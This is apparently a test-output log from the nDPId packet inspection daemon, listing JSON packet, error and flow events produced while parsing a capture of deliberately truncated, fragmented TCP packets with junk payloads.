-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026525360} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026525372} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026525384} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026525396} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026525407} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026525419} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026525431} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026525443} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026525455} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":2187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026525466} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026525478} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026525490} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244026525502} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":2191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkRGR0hKSyZe"} 00762{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":8,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244026825625,"flow_src_last_pkt_time":1534244026825625,"flow_dst_last_pkt_time":1534244026825625,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244026825625,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":9508,"dst_port":8995,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00524{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_src_last_pkt_time":1534244026825625,"flow_dst_last_pkt_time":1534244026825625,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1DEpQAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825655} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825661} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825668} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825673} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825678} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825684} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":2198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825689} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825694} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825699} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825705} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825717} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825726} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825738} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825749} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825761} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825770} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825779} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825788} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":2210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825797} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825808} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825817} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825826} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825835} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825845} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825854} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825864} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825873} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825883} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026825892} 